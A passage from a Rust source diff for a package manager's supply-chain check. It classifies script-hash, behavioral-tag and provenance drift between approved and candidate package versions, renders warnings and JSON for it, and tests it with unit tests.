hash. If either hash is None we fall back + // to the name-set comparison directly — the hash is a + // fingerprint optimization, not a semantic requirement. + // + // When hashes are both Some and equal, the sets are also equal + // (the hash was computed FROM the names via `hash_behavioral_tag_set` + // — same input, same output), so we can skip the merge-walk. + let tags_equal_by_hash = matches!( + ( + binding.behavioral_tags_hash.as_deref(), + candidate.behavioral_tags_hash.as_deref(), + ), + (Some(a), Some(c)) if a == c + ); + let tags_shift = if tags_equal_by_hash { + None + } else { + classify_tags( + binding.behavioral_tags.as_deref(), + candidate.behavioral_tags.as_deref(), + ) + }; + + let provenance_drift = classify_provenance( + binding.provenance_at_approval.as_ref(), + candidate.provenance_at_capture.as_ref(), + ); + + let reason = match (script_drift, &tags_shift, &provenance_drift) { + // No dimension drifted. + (false, None, None) => VersionDiffReason::NoChange, + // Single-dimension drifts. + (true, None, None) => VersionDiffReason::ScriptHashDrift, + (false, Some(shift), None) => VersionDiffReason::BehavioralTagShift { + gained: shift.gained.clone(), + lost: shift.lost.clone(), + }, + (false, None, Some(kind)) => VersionDiffReason::ProvenanceDrift { kind: kind.clone() }, + // Multi-dimension drift — record each present dimension. + _ => VersionDiffReason::MultiFieldDrift { + script_hash: script_drift, + tags: tags_shift, + provenance: provenance_drift, + }, + }; + + VersionDiff { + prior_version: prior_version.to_string(), + candidate_version: candidate.version.clone(), + reason, + } +} + +// ═══════════════════════════════════════════════════════════════════ +// Rendering layer +// ═══════════════════════════════════════════════════════════════════ +// +// Pure text rendering — no I/O, no stdout writes. Callers (install.rs, +// approve_builds.rs) pass already-collected script-body snapshots and +// get back an `Option` to emit however they route output +// (stderr vs stdout, `output::warn` vs `println!`, JSON vs human). +// +// Split into two entry points matching §11 P7's two render sites: +// * [`render_terse_hint`] — 1–2 line summary for the install +// blocked-set warning. Omits unified diffs. Agents and humans +// should both read this as "there's drift, run approve-builds +// for details." +// * [`render_preflight_card`] — fuller card for the autoBuild path +// and the approve-builds TUI. Includes a unified script-body diff +// via [`diffy`] when both store bodies are available; degrades +// to a terse notice when the prior is absent from the store. + +/// Snapshot of install-phase script bodies for one `name@version`. +/// +/// Produced by reading the store with +/// [`crate::build_state::read_install_phase_bodies`] and converted to +/// a `HashMap` for lookup by [`render_preflight_card`]. +/// Callers typically build this on the install path (where the store +/// is already open) and pass it in by reference so the renderer +/// stays pure. +pub type PhaseBodies = std::collections::BTreeMap; + +/// Ingest `Vec<(String, String)>` output from +/// [`crate::build_state::read_install_phase_bodies`] into a +/// `BTreeMap` keyed by phase name. `BTreeMap` (not `HashMap`) so +/// render output is deterministic across runs — callers that print +/// phase-by-phase should see the same order every time. +pub fn phase_bodies_from_pairs(pairs: Vec<(String, String)>) -> PhaseBodies { + pairs.into_iter().collect() +} + +/// Render a 1–2 line human-readable hint describing `diff`. +/// +/// Returns `None` when [`VersionDiff::is_drift`] is false — callers +/// can `if let Some(line) = ...` without a sentinel check. +/// +/// Format is TERSE: the diff card full content lives in +/// [`render_preflight_card`]; this function is what the post-install +/// banner appends per-package so the user gets "there's drift on +/// these N packages" visibility before entering `lpm approve-builds`. +/// +/// Examples (leading two-space indent matches the existing +/// [`crate::commands::approve_builds::print_package_card`] layout so +/// the rendered hint composes cleanly with the broader warning +/// block): +/// +/// ```text +/// esbuild@0.25.2 — script content changed since v0.25.1 +/// axios@1.14.1 — provenance dropped since v1.14.0 (axios-pattern signal) +/// pkg@2.0.0 — behavioral tags +network, +eval since v1.0.0 +/// pkg@2.0.0 — script + tags changed since v1.0.0 (see approve-builds) +/// ``` +pub fn render_terse_hint(diff: &VersionDiff, package_name: &str) -> Option { + if !diff.is_drift() { + return None; + } + let head = format!(" {}@{} — ", package_name, diff.candidate_version); + let since = format!(" since v{}", diff.prior_version); + let body = match &diff.reason { + VersionDiffReason::NoChange => return None, + VersionDiffReason::ScriptHashDrift => format!("script content changed{since}"), + VersionDiffReason::BehavioralTagShift { gained, lost } => { + format!("behavioral tags {}{since}", tag_delta_suffix(gained, lost)) + } + VersionDiffReason::ProvenanceDrift { kind } => render_provenance_terse(kind, &since), + VersionDiffReason::MultiFieldDrift { + script_hash, + tags, + provenance, + } => { + let mut dims: Vec<&'static str> = Vec::new(); + if *script_hash { + dims.push("script"); + } + if tags.is_some() { + dims.push("tags"); + } + if provenance.is_some() { + dims.push("provenance"); + } + format!("{} changed{since}", dims.join(" + ")) + } + }; + Some(format!("{head}{body}")) +} + +fn render_provenance_terse(kind: &ProvenanceDriftKind, since: &str) -> String { + match kind { + ProvenanceDriftKind::IdentityChanged => { + format!("provenance identity changed{since}") + } + ProvenanceDriftKind::Dropped => { + format!("provenance dropped{since} (axios-pattern signal)") + } + ProvenanceDriftKind::Gained => format!("provenance gained{since}"), + } +} + +fn tag_delta_suffix(gained: &[String], lost: &[String]) -> String { + let mut parts: Vec = Vec::new(); + for t in gained { + parts.push(format!("+{t}")); + } + for t in lost { + parts.push(format!("-{t}")); + } + if parts.is_empty() { + // The diff core guarantees at least one delta when it returns + // `BehavioralTagShift`; `Vec::new()` here would be a bug + // upstream, not a valid render. Fall back to a neutral label + // rather than panicking in a display path. + "changed".into() + } else { + parts.join(", ") + } +} + +/// Render a multi-line "changes since v" card — the fuller +/// view used by (a) the install auto-build preflight (before any +/// green's scripts execute) and (b) the approve-builds TUI (C3). +/// +/// Returns `None` when [`VersionDiff::is_drift`] is false. +/// +/// Inputs: +/// - `diff` — the classified diff value. +/// - `package_name` — rendered in the header. +/// - `prior_scripts` — `Some` iff the prior version is still in the +/// store. When `None`, the renderer degrades the script-body +/// section to a terse "(prior not in store)" note rather than +/// producing a spurious diff. The behavioral-tag and provenance +/// sections are unaffected by store availability. +/// - `candidate_scripts` — same shape for the candidate. +/// +/// The script-body section uses [`diffy`]'s `Patch` + `PatchFormatter` +/// to produce a GNU-patch-style unified diff, the same format the +/// `lpm patch` infrastructure produces. Per-phase cards are emitted +/// in `EXECUTED_INSTALL_PHASES` order (preinstall → install → +/// postinstall) so output is deterministic. +pub fn render_preflight_card( + diff: &VersionDiff, + package_name: &str, + prior_scripts: Option<&PhaseBodies>, + candidate_scripts: Option<&PhaseBodies>, +) -> Option { + if !diff.is_drift() { + return None; + } + + let mut out = String::new(); + out.push_str(&format!( + " {}@{} — changes since v{}:\n", + package_name, diff.candidate_version, diff.prior_version + )); + + // Helper closures over the three dimension renderings so the + // single-variant and multi-variant branches share one code path. + let render_script = |out: &mut String, label: bool| { + if label { + out.push_str(" Script content changed:\n"); + } + let body = render_script_body_diff(prior_scripts, candidate_scripts); + // Indent the diff two extra spaces so it nests inside the card. + for line in body.lines() { + out.push_str(" "); + out.push_str(line); + out.push('\n'); + } + }; + + let render_tags = |out: &mut String, shift: &TagShift| { + out.push_str(" Behavioral tags:\n"); + for t in &shift.gained { + out.push_str(&format!(" + {t}\n")); + } + for t in &shift.lost { + out.push_str(&format!(" - {t}\n")); + } + }; + + let render_prov = |out: &mut String, kind: &ProvenanceDriftKind| { + let line = match kind { + ProvenanceDriftKind::IdentityChanged => " Provenance identity changed.", + ProvenanceDriftKind::Dropped => { + " Provenance dropped — previously-signed publisher, this version unsigned (axios-pattern signal)." + } + ProvenanceDriftKind::Gained => " Provenance gained — this version is newly signed.", + }; + out.push_str(line); + out.push('\n'); + }; + + match &diff.reason { + VersionDiffReason::NoChange => return None, + VersionDiffReason::ScriptHashDrift => render_script(&mut out, false), + VersionDiffReason::BehavioralTagShift { gained, lost } => { + let shift = TagShift { + gained: gained.clone(), + lost: lost.clone(), + }; + render_tags(&mut out, &shift); + } + VersionDiffReason::ProvenanceDrift { kind } => render_prov(&mut out, kind), + VersionDiffReason::MultiFieldDrift { + script_hash, + tags, + provenance, + } => { + if *script_hash { + render_script(&mut out, true); + } + if let Some(shift) = tags { + render_tags(&mut out, shift); + } + if let Some(kind) = provenance { + render_prov(&mut out, kind); + } + } + } + + Some(out.trim_end().to_string()) +} + +/// Render the script-body diff section of a preflight card. +/// +/// If either side is `None` (prior or candidate not readable from the +/// store), degrades to a one-line "(prior/candidate not in store — +/// unified diff unavailable; script hash differs)" note. Store +/// absence is the common degradation, not a bug: `lpm cache clean` +/// or a fresh clone can evict the prior version. +/// +/// When both sides are present, iterates +/// [`lpm_security::EXECUTED_INSTALL_PHASES`] and emits a per-phase +/// unified diff header + body via [`diffy`]. Only phases that +/// differ between the two sides are emitted so a change in only +/// `postinstall` doesn't also dump `install` and `preinstall` as +/// no-op diffs. +fn render_script_body_diff(prior: Option<&PhaseBodies>, candidate: Option<&PhaseBodies>) -> String { + let (prior, candidate) = match (prior, candidate) { + (Some(p), Some(c)) => (p, c), + _ => { + return "(prior or candidate scripts not in store — unified diff \ + unavailable; script hash differs)" + .into(); + } + }; + + let formatter = diffy::PatchFormatter::new(); + let mut out = String::new(); + for phase in lpm_security::EXECUTED_INSTALL_PHASES { + let p = prior.get(*phase).map(String::as_str).unwrap_or(""); + let c = candidate.get(*phase).map(String::as_str).unwrap_or(""); + if p == c { + continue; + } + + // Ensure both sides end with a trailing newline so diffy's + // line-by-line patch format doesn't attribute a "\ No + // newline at end of file" marker to a phase that just has a + // single shell command without a trailing \n. + let p_norm = ensure_trailing_newline(p); + let c_norm = ensure_trailing_newline(c); + + out.push_str(&format!("--- scripts.{phase} (v)\n")); + out.push_str(&format!("+++ scripts.{phase} (v)\n")); + let patch = diffy::create_patch(&p_norm, &c_norm); + out.push_str(&formatter.fmt_patch(&patch).to_string()); + out.push('\n'); + } + if out.is_empty() { + // All phases equal — shouldn't happen when reason == + // ScriptHashDrift, but degrade gracefully rather than emit + // an empty card. + "(script hash differs but per-phase bodies compare equal — possible \ + key-ordering drift in package.json; run `lpm build` for verbose \ + output)" + .into() + } else { + out.trim_end().to_string() + } +} + +fn ensure_trailing_newline(s: &str) -> String { + if s.ends_with('\n') { + s.to_string() + } else { + let mut out = String::with_capacity(s.len() + 1); + out.push_str(s); + out.push('\n'); + out + } +} + +// ═══════════════════════════════════════════════════════════════════ +// JSON serialization (Phase 46 P7 Chunk 4) +// ═══════════════════════════════════════════════════════════════════ +// +// Shared wire shape consumed by `lpm approve-builds --json`, +// `lpm approve-builds --list --json`, `lpm approve-builds --yes --json`, +// `lpm approve-builds --json`, and the install pipeline's +// `--json` output. Centralizing here so the two CLI commands cannot +// drift in the JSON they emit per blocked entry. +// +// `SCHEMA_VERSION` (defined in `commands::approve_builds`) bumps +// 2 → 3 with the addition of the `version_diff` field per entry. +// Pre-v3 readers will see the new field as unknown and (per their +// JSON-tolerance discipline) ignore it; post-v3 readers branch on +// `schema_version >= 3` to know when to expect it. + +/// Wire-form string for [`VersionDiffReason`]. Kebab-case to match +/// the [`StaticTier`] convention agents already parse. +pub fn version_diff_reason_wire(reason: &VersionDiffReason) -> &'static str { + match reason { + VersionDiffReason::NoChange => "no-change", + VersionDiffReason::ScriptHashDrift => "script-hash-drift", + VersionDiffReason::BehavioralTagShift { .. } => "behavioral-tag-shift", + VersionDiffReason::ProvenanceDrift { .. } => "provenance-drift", + VersionDiffReason::MultiFieldDrift { .. } => "multi-field-drift", + } +} + +/// Wire-form string for [`ProvenanceDriftKind`]. Kebab-case. +pub fn provenance_drift_kind_wire(kind: &ProvenanceDriftKind) -> &'static str { + match kind { + ProvenanceDriftKind::IdentityChanged => "identity-changed", + ProvenanceDriftKind::Dropped => "dropped", + ProvenanceDriftKind::Gained => "gained", + } +} + +/// Serialize a [`VersionDiff`] to its stable JSON wire shape. +/// +/// **Stable contract** — every variant emits the SAME keys with +/// `null` for dimensions that didn't drift. Agents read with +/// uniform key access; no need for conditional `if "key" in obj` +/// checks. Stable across schema_version 3 and onward. +/// +/// Per-key semantics: +/// - `prior_version`, `candidate_version` — always strings. +/// - `reason` — always a kebab-case string from +/// [`version_diff_reason_wire`]. +/// - `script_hash_drift` — always a bool. `false` for `NoChange` and +/// the non-`MultiFieldDrift` variants whose dimension is not +/// script-hash; `true` for `ScriptHashDrift` and for +/// `MultiFieldDrift { script_hash: true, .. }`. +/// - `behavioral_tags_added` / `behavioral_tags_removed` — `null` +/// when the tag dimension didn't drift; arrays (possibly empty +/// on one side) when it did. +/// - `provenance_drift_kind` — `null` when the provenance +/// dimension didn't drift; one of the +/// [`provenance_drift_kind_wire`] strings when it did. +pub fn version_diff_to_json(diff: &VersionDiff) -> serde_json::Value { + let (script_hash_drift, tags_opt, prov_opt) = match &diff.reason { + VersionDiffReason::NoChange => (false, None, None), + VersionDiffReason::ScriptHashDrift => (true, None, None), + VersionDiffReason::BehavioralTagShift { gained, lost } => { + (false, Some((gained.clone(), lost.clone())), None) + } + VersionDiffReason::ProvenanceDrift { kind } => (false, None, Some(kind.clone())), + VersionDiffReason::MultiFieldDrift { + script_hash, + tags, + provenance, + } => ( + *script_hash, + tags.as_ref().map(|t| (t.gained.clone(), t.lost.clone())), + provenance.clone(), + ), + }; + + let (added, removed) = match tags_opt { + Some((g, l)) => ( + serde_json::Value::Array(g.into_iter().map(serde_json::Value::String).collect()), + serde_json::Value::Array(l.into_iter().map(serde_json::Value::String).collect()), + ), + None => (serde_json::Value::Null, serde_json::Value::Null), + }; + let prov_value = match prov_opt { + Some(k) => serde_json::Value::String(provenance_drift_kind_wire(&k).to_string()), + None => serde_json::Value::Null, + }; + + serde_json::json!({ + "prior_version": diff.prior_version, + "candidate_version": diff.candidate_version, + "reason": version_diff_reason_wire(&diff.reason), + "script_hash_drift": script_hash_drift, + "behavioral_tags_added": added, + "behavioral_tags_removed": removed, + "provenance_drift_kind": prov_value, + }) +} + +/// Render a [`BlockedPackage`] as the canonical per-entry JSON shape +/// shared by `lpm approve-builds --json` and the install pipeline's +/// `--json` output. +/// +/// **Phase 46 P7 Chunk 4** consolidates what were previously two +/// inline `serde_json::json!{...}` literals (one in `approve_builds`, +/// two in `install.rs`) into a single source of truth. The added +/// `version_diff` field requires `&trusted` so the helper can call +/// [`crate::version_diff::compute_version_diff`] when a prior binding +/// exists for the same package name. +/// +/// `version_diff` is `null` when no prior binding exists (first-time +/// review — nothing to compare against). When a prior binding exists, +/// it's the structured object from [`version_diff_to_json`] — +/// including `reason: "no-change"` for the case where the prior was +/// found but no dimension drifted (so agents can distinguish "we +/// looked and there's no change" from "no prior to compare"). +pub fn blocked_to_json( + blocked: &crate::build_state::BlockedPackage, + trusted: &lpm_workspace::TrustedDependencies, +) -> serde_json::Value { + let version_diff = match trusted.latest_binding_for_name(&blocked.name, &blocked.version) { + None => serde_json::Value::Null, + Some((prior_version, binding)) => { + let diff = compute_version_diff(prior_version, binding, blocked); + version_diff_to_json(&diff) + } + }; + serde_json::json!({ + "name": blocked.name, + "version": blocked.version, + "integrity": blocked.integrity, + "script_hash": blocked.script_hash, + "phases_present": blocked.phases_present, + "binding_drift": blocked.binding_drift, + "static_tier": blocked.static_tier, + "version_diff": version_diff, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::build_state::BlockedPackage; + use lpm_workspace::{ProvenanceSnapshot, TrustedDependencyBinding}; + + // ─── Fixtures ───────────────────────────────────────────────── + + fn candidate(name: &str, version: &str) -> BlockedPackage { + BlockedPackage { + name: name.into(), + version: version.into(), + integrity: Some(format!("sha512-{name}-{version}")), + script_hash: Some(format!("sha256-{name}-{version}")), + phases_present: vec!["postinstall".into()], + binding_drift: false, + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, + behavioral_tags: None, + } + } + + fn snapshot(publisher: &str, workflow_path: &str) -> ProvenanceSnapshot { + ProvenanceSnapshot { + present: true, + publisher: Some(publisher.into()), + workflow_path: Some(workflow_path.into()), + workflow_ref: Some("refs/tags/vX.Y.Z".into()), + attestation_cert_sha256: Some("sha256-leaf".into()), + } + } + + fn snapshot_absent() -> ProvenanceSnapshot { + ProvenanceSnapshot { + present: false, + ..Default::default() + } + } + + // ─── compute_version_diff — primary variants ────────────────── + + #[test] + fn no_change_when_all_dimensions_equal() { + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + behavioral_tags_hash: Some("sha256-tags-same".into()), + behavioral_tags: Some(vec!["network".into()]), + provenance_at_approval: Some(snapshot( + "github:axios/axios", + ".github/workflows/publish.yml", + )), + ..Default::default() + }; + let mut cand = candidate("axios", "1.14.1"); + cand.script_hash = Some("sha256-same".into()); + cand.behavioral_tags_hash = Some("sha256-tags-same".into()); + cand.behavioral_tags = Some(vec!["network".into()]); + // Candidate has a DIFFERENT workflow_ref and cert — those are + // excluded from identity equality, so this is still NoChange. + let mut cand_prov = snapshot("github:axios/axios", ".github/workflows/publish.yml"); + cand_prov.workflow_ref = Some("refs/tags/v1.14.1".into()); + cand_prov.attestation_cert_sha256 = Some("sha256-leaf-bbb".into()); + cand.provenance_at_capture = Some(cand_prov); + + let diff = compute_version_diff("1.14.0", &binding, &cand); + assert_eq!(diff.reason, VersionDiffReason::NoChange); + assert!(!diff.is_drift()); + assert_eq!(diff.prior_version, "1.14.0"); + assert_eq!(diff.candidate_version, "1.14.1"); + } + + #[test] + fn script_hash_drift_alone() { + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-old".into()), + ..Default::default() + }; + let mut cand = candidate("esbuild", "0.25.2"); + cand.script_hash = Some("sha256-new".into()); + + let diff = compute_version_diff("0.25.1", &binding, &cand); + assert_eq!(diff.reason, VersionDiffReason::ScriptHashDrift); + assert!(diff.is_drift()); + } + + #[test] + fn behavioral_tag_shift_gained_tags_surface() { + // Ship criterion 2: "Updating a package whose behavioral tags + // gained `network` or `eval` surfaces the delta." + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + behavioral_tags_hash: Some("sha256-before".into()), + behavioral_tags: Some(vec!["crypto".into()]), + ..Default::default() + }; + let mut cand = candidate("suspicious", "2.0.0"); + cand.script_hash = Some("sha256-same".into()); + cand.behavioral_tags_hash = Some("sha256-after".into()); + cand.behavioral_tags = Some(vec!["crypto".into(), "eval".into(), "network".into()]); + + let diff = compute_version_diff("1.0.0", &binding, &cand); + match diff.reason { + VersionDiffReason::BehavioralTagShift { gained, lost } => { + assert_eq!(gained, vec!["eval".to_string(), "network".to_string()]); + assert!(lost.is_empty()); + } + other => panic!("expected BehavioralTagShift, got {other:?}"), + } + } + + #[test] + fn behavioral_tag_shift_lost_tags_surface() { + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + behavioral_tags_hash: Some("sha256-before".into()), + behavioral_tags: Some(vec![ + "crypto".into(), + "eval".into(), + "network".into(), + "shell".into(), + ]), + ..Default::default() + }; + let mut cand = candidate("legit", "3.0.0"); + cand.script_hash = Some("sha256-same".into()); + cand.behavioral_tags_hash = Some("sha256-after".into()); + cand.behavioral_tags = Some(vec!["crypto".into(), "network".into()]); + + let diff = compute_version_diff("2.0.0", &binding, &cand); + match diff.reason { + VersionDiffReason::BehavioralTagShift { gained, lost } => { + assert!(gained.is_empty()); + assert_eq!(lost, vec!["eval".to_string(), "shell".to_string()]); + } + other => panic!("expected BehavioralTagShift, got {other:?}"), + } + } + + #[test] + fn behavioral_tag_shift_gained_and_lost_together() { + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + behavioral_tags_hash: Some("sha256-before".into()), + behavioral_tags: Some(vec!["crypto".into(), "filesystem".into()]), + ..Default::default() + }; + let mut cand = candidate("mixed", "2.0.0"); + cand.script_hash = Some("sha256-same".into()); + cand.behavioral_tags_hash = Some("sha256-after".into()); + cand.behavioral_tags = Some(vec!["crypto".into(), "network".into(), "shell".into()]); + + let diff = compute_version_diff("1.0.0", &binding, &cand); + match diff.reason { + VersionDiffReason::BehavioralTagShift { gained, lost } => { + assert_eq!(gained, vec!["network".to_string(), "shell".to_string()]); + assert_eq!(lost, vec!["filesystem".to_string()]); + } + other => panic!("expected BehavioralTagShift, got {other:?}"), + } + } + + #[test] + fn behavioral_tags_equal_by_hash_skips_name_set_comparison() { + // When hashes are both Some and equal, trust the hash — don't + // re-walk the name sets. Defensive: if the names somehow + // disagreed with the hash (impossible if the capture used + // hash_behavioral_tag_set honestly, but we don't want to + // surface phantom drifts on hash collision-free inputs that + // genuinely match). + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + behavioral_tags_hash: Some("sha256-tags".into()), + // Deliberately different from candidate — but the hash + // says they're equal. + behavioral_tags: Some(vec!["crypto".into()]), + ..Default::default() + }; + let mut cand = candidate("same", "2.0.0"); + cand.script_hash = Some("sha256-same".into()); + cand.behavioral_tags_hash = Some("sha256-tags".into()); + cand.behavioral_tags = Some(vec!["network".into()]); + + let diff = compute_version_diff("1.0.0", &binding, &cand); + assert_eq!( + diff.reason, + VersionDiffReason::NoChange, + "hash equality must short-circuit to NoChange even if the name sets look different" + ); + } + + #[test] + fn provenance_identity_changed() { + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + provenance_at_approval: Some(snapshot( + "github:axios/axios", + ".github/workflows/publish.yml", + )), + ..Default::default() + }; + let mut cand = candidate("axios", "1.15.0"); + cand.script_hash = Some("sha256-same".into()); + cand.provenance_at_capture = Some(snapshot( + "github:evil/axios-fork", + ".github/workflows/publish.yml", + )); + + let diff = compute_version_diff("1.14.0", &binding, &cand); + assert_eq!( + diff.reason, + VersionDiffReason::ProvenanceDrift { + kind: ProvenanceDriftKind::IdentityChanged + } + ); + } + + #[test] + fn provenance_dropped_axios_pattern() { + // The axios 1.14.1 pattern: prior release had provenance, new + // release dropped it. + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + provenance_at_approval: Some(snapshot( + "github:axios/axios", + ".github/workflows/publish.yml", + )), + ..Default::default() + }; + let mut cand = candidate("axios", "1.14.1"); + cand.script_hash = Some("sha256-same".into()); + cand.provenance_at_capture = Some(snapshot_absent()); + + let diff = compute_version_diff("1.14.0", &binding, &cand); + assert_eq!( + diff.reason, + VersionDiffReason::ProvenanceDrift { + kind: ProvenanceDriftKind::Dropped + } + ); + } + + #[test] + fn provenance_gained_is_informational() { + // Prior version had no attestation; candidate has one. The + // drift gate treats this as NoDrift (strictly better signal), + // but the diff UI surfaces it as `Gained` so the user knows + // the security posture improved. + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + provenance_at_approval: Some(snapshot_absent()), + ..Default::default() + }; + let mut cand = candidate("rising", "2.0.0"); + cand.script_hash = Some("sha256-same".into()); + cand.provenance_at_capture = Some(snapshot( + "github:rising/package", + ".github/workflows/publish.yml", + )); + + let diff = compute_version_diff("1.0.0", &binding, &cand); + assert_eq!( + diff.reason, + VersionDiffReason::ProvenanceDrift { + kind: ProvenanceDriftKind::Gained + } + ); + } + + // ─── Multi-field drift ──────────────────────────────────────── + + #[test] + fn multi_field_drift_script_and_tags() { + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-old".into()), + behavioral_tags_hash: Some("sha256-before".into()), + behavioral_tags: Some(vec!["crypto".into()]), + ..Default::default() + }; + let mut cand = candidate("compromise", "2.0.0"); + cand.script_hash = Some("sha256-new".into()); + cand.behavioral_tags_hash = Some("sha256-after".into()); + cand.behavioral_tags = Some(vec!["crypto".into(), "network".into()]); + + let diff = compute_version_diff("1.0.0", &binding, &cand); + match diff.reason { + VersionDiffReason::MultiFieldDrift { + script_hash, + tags, + provenance, + } => { + assert!(script_hash); + assert_eq!( + tags, + Some(TagShift { + gained: vec!["network".into()], + lost: vec![], + }) + ); + assert_eq!(provenance, None); + } + other => panic!("expected MultiFieldDrift, got {other:?}"), + } + } + + #[test] + fn multi_field_drift_all_three_dimensions() { + // Supply-chain worst-case: script body AND tags AND + // provenance all rotate. + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-old".into()), + behavioral_tags_hash: Some("sha256-tags-old".into()), + behavioral_tags: Some(vec!["crypto".into()]), + provenance_at_approval: Some(snapshot( + "github:legit/pkg", + ".github/workflows/publish.yml", + )), + ..Default::default() + }; + let mut cand = candidate("compromise", "2.0.0"); + cand.script_hash = Some("sha256-new".into()); + cand.behavioral_tags_hash = Some("sha256-tags-new".into()); + cand.behavioral_tags = Some(vec!["eval".into(), "network".into(), "shell".into()]); + cand.provenance_at_capture = Some(snapshot_absent()); + + let diff = compute_version_diff("1.0.0", &binding, &cand); + match diff.reason { + VersionDiffReason::MultiFieldDrift { + script_hash, + tags, + provenance, + } => { + assert!(script_hash); + assert_eq!( + tags, + Some(TagShift { + gained: vec!["eval".into(), "network".into(), "shell".into()], + lost: vec!["crypto".into()], + }) + ); + assert_eq!(provenance, Some(ProvenanceDriftKind::Dropped)); + } + other => panic!("expected MultiFieldDrift, got {other:?}"), + } + } + + // ─── Missing-signal edge cases ─────────────────────────────── + + #[test] + fn missing_script_hash_on_either_side_is_no_signal() { + // Binding lacks script_hash (legacy / pre-Phase-4 upgrade). + let binding = TrustedDependencyBinding { + script_hash: None, + ..Default::default() + }; + let mut cand = candidate("legacy", "2.0.0"); + cand.script_hash = Some("sha256-new".into()); + + let diff = compute_version_diff("1.0.0", &binding, &cand); + assert_eq!( + diff.reason, + VersionDiffReason::NoChange, + "None binding.script_hash → no signal on that dimension" + ); + + // Now the candidate lacks it. + let binding2 = TrustedDependencyBinding { + script_hash: Some("sha256-old".into()), + ..Default::default() + }; + let mut cand2 = candidate("other", "2.0.0"); + cand2.script_hash = None; + + let diff2 = compute_version_diff("1.0.0", &binding2, &cand2); + assert_eq!(diff2.reason, VersionDiffReason::NoChange); + } + + #[test] + fn missing_behavioral_tags_on_either_side_is_no_signal() { + // Binding lacks tags entirely. + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + behavioral_tags_hash: None, + behavioral_tags: None, + ..Default::default() + }; + let mut cand = candidate("no-tags-before", "2.0.0"); + cand.script_hash = Some("sha256-same".into()); + cand.behavioral_tags_hash = Some("sha256-after".into()); + cand.behavioral_tags = Some(vec!["network".into()]); + + let diff = compute_version_diff("1.0.0", &binding, &cand); + assert_eq!( + diff.reason, + VersionDiffReason::NoChange, + "missing binding.behavioral_tags → can't claim drift on that dimension" + ); + } + + #[test] + fn both_sides_have_no_provenance_is_no_change() { + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + provenance_at_approval: None, + ..Default::default() + }; + let mut cand = candidate("no-prov", "2.0.0"); + cand.script_hash = Some("sha256-same".into()); + cand.provenance_at_capture = None; + + let diff = compute_version_diff("1.0.0", &binding, &cand); + assert_eq!(diff.reason, VersionDiffReason::NoChange); + } + + #[test] + fn prior_had_snapshot_absent_candidate_missing_entirely_is_no_change() { + // Prior captured `present: false` (we fetched, registry said + // no attestation). Candidate is None (fetcher degraded). No + // drift signal — the `(Some, None)` case is documented as + // pass-through. + let binding = TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + provenance_at_approval: Some(snapshot_absent()), + ..Default::default() + }; + let mut cand = candidate("degraded", "2.0.0"); + cand.script_hash = Some("sha256-same".into()); + cand.provenance_at_capture = None; + + let diff = compute_version_diff("1.0.0", &binding, &cand); + assert_eq!(diff.reason, VersionDiffReason::NoChange); + } + + // ─── latest_binding_for_name (workspace-side helper, exercised + // here via the full P7 integration surface) ──────────────── + + #[test] + fn latest_binding_selects_strictly_less_than_candidate() { + use lpm_workspace::TrustedDependencies; + use std::collections::HashMap; + + let mut map = HashMap::new(); + map.insert( + "axios@1.14.0".into(), + TrustedDependencyBinding { + script_hash: Some("sha256-v1140".into()), + ..Default::default() + }, + ); + map.insert( + "axios@1.13.5".into(), + TrustedDependencyBinding { + script_hash: Some("sha256-v1135".into()), + ..Default::default() + }, + ); + let td = TrustedDependencies::Rich(map); + + // Candidate 1.14.1 → lex-max strictly-less-than is 1.14.0. + let (v, b) = td.latest_binding_for_name("axios", "1.14.1").unwrap(); + assert_eq!(v, "1.14.0"); + assert_eq!(b.script_hash.as_deref(), Some("sha256-v1140")); + + // Candidate 1.14.0 → strictly-less-than → 1.13.5. + let (v2, _) = td.latest_binding_for_name("axios", "1.14.0").unwrap(); + assert_eq!(v2, "1.13.5"); + + // Candidate 1.13.5 → no prior (can't pick itself). + assert!(td.latest_binding_for_name("axios", "1.13.5").is_none()); + + // Candidate 1.12.0 → nothing is strictly less. + assert!(td.latest_binding_for_name("axios", "1.12.0").is_none()); + + // Unknown package name → None. + assert!(td.latest_binding_for_name("express", "5.0.0").is_none()); + } + + #[test] + fn latest_binding_skips_at_star_preserve_key() { + use lpm_workspace::TrustedDependencies; + use std::collections::HashMap; + + // A legacy upgrade preserve key `axios@*` must NOT be picked + // as a prior version — `*` lex-sorts higher than any concrete + // digit, so a naive max would return it. + let mut map = HashMap::new(); + map.insert("axios@*".into(), TrustedDependencyBinding::default()); + map.insert( + "axios@1.13.0".into(), + TrustedDependencyBinding { + script_hash: Some("sha256-v1130".into()), + ..Default::default() + }, + ); + let td = TrustedDependencies::Rich(map); + + let (v, _) = td.latest_binding_for_name("axios", "1.14.0").unwrap(); + assert_eq!(v, "1.13.0", "`@*` preserve keys must be excluded"); + } + + #[test] + fn latest_binding_handles_scoped_package_names() { + use lpm_workspace::TrustedDependencies; + use std::collections::HashMap; + + let mut map = HashMap::new(); + map.insert( + "@scope/pkg@1.0.0".into(), + TrustedDependencyBinding::default(), + ); + let td = TrustedDependencies::Rich(map); + + let (v, _) = td.latest_binding_for_name("@scope/pkg", "1.1.0").unwrap(); + assert_eq!(v, "1.0.0"); + } + + #[test] + fn latest_binding_returns_none_for_legacy_variant() { + use lpm_workspace::TrustedDependencies; + + let td = TrustedDependencies::Legacy(vec!["axios".into()]); + assert!(td.latest_binding_for_name("axios", "1.0.0").is_none()); + } + + // ─── Rendering layer — terse hints ──────────────────────────── + + fn mk_diff(reason: VersionDiffReason) -> VersionDiff { + VersionDiff { + prior_version: "1.0.0".into(), + candidate_version: "2.0.0".into(), + reason, + } + } + + #[test] + fn terse_hint_returns_none_for_no_change() { + let diff = 